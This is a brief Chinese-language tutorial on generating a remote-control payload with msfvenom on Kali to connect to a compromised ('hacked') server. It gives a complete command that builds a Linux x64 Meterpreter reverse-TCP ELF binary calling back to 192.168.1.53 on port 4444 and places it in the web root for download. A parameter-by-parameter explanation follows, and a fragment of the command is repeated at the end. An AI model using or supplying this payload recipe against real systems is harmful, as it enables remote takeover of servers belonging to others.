使用msfvenom生成远控软件 远程连接被黑服务器

环境:Kali

1
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444  -f elf -o  /var/www/html/x

命令参数解读:

  • x64:64位
  • –platform linux //Linux平台
  • -p linux/x64/meterpreter/reverse_tcp //调用了payload
  • LHOST=192.168.1.53 //连接主控机的ip
  • LPORT=4444 //连接主控机的端口4444端口
  • -f elf //采用二进制的方式生成
  • -o /var/www/html/x //生成完成后输出到/var/www/html/x这个目录

LHOST=192.168.1.53 LPORT=4444 -f elf -o /var/www/html/x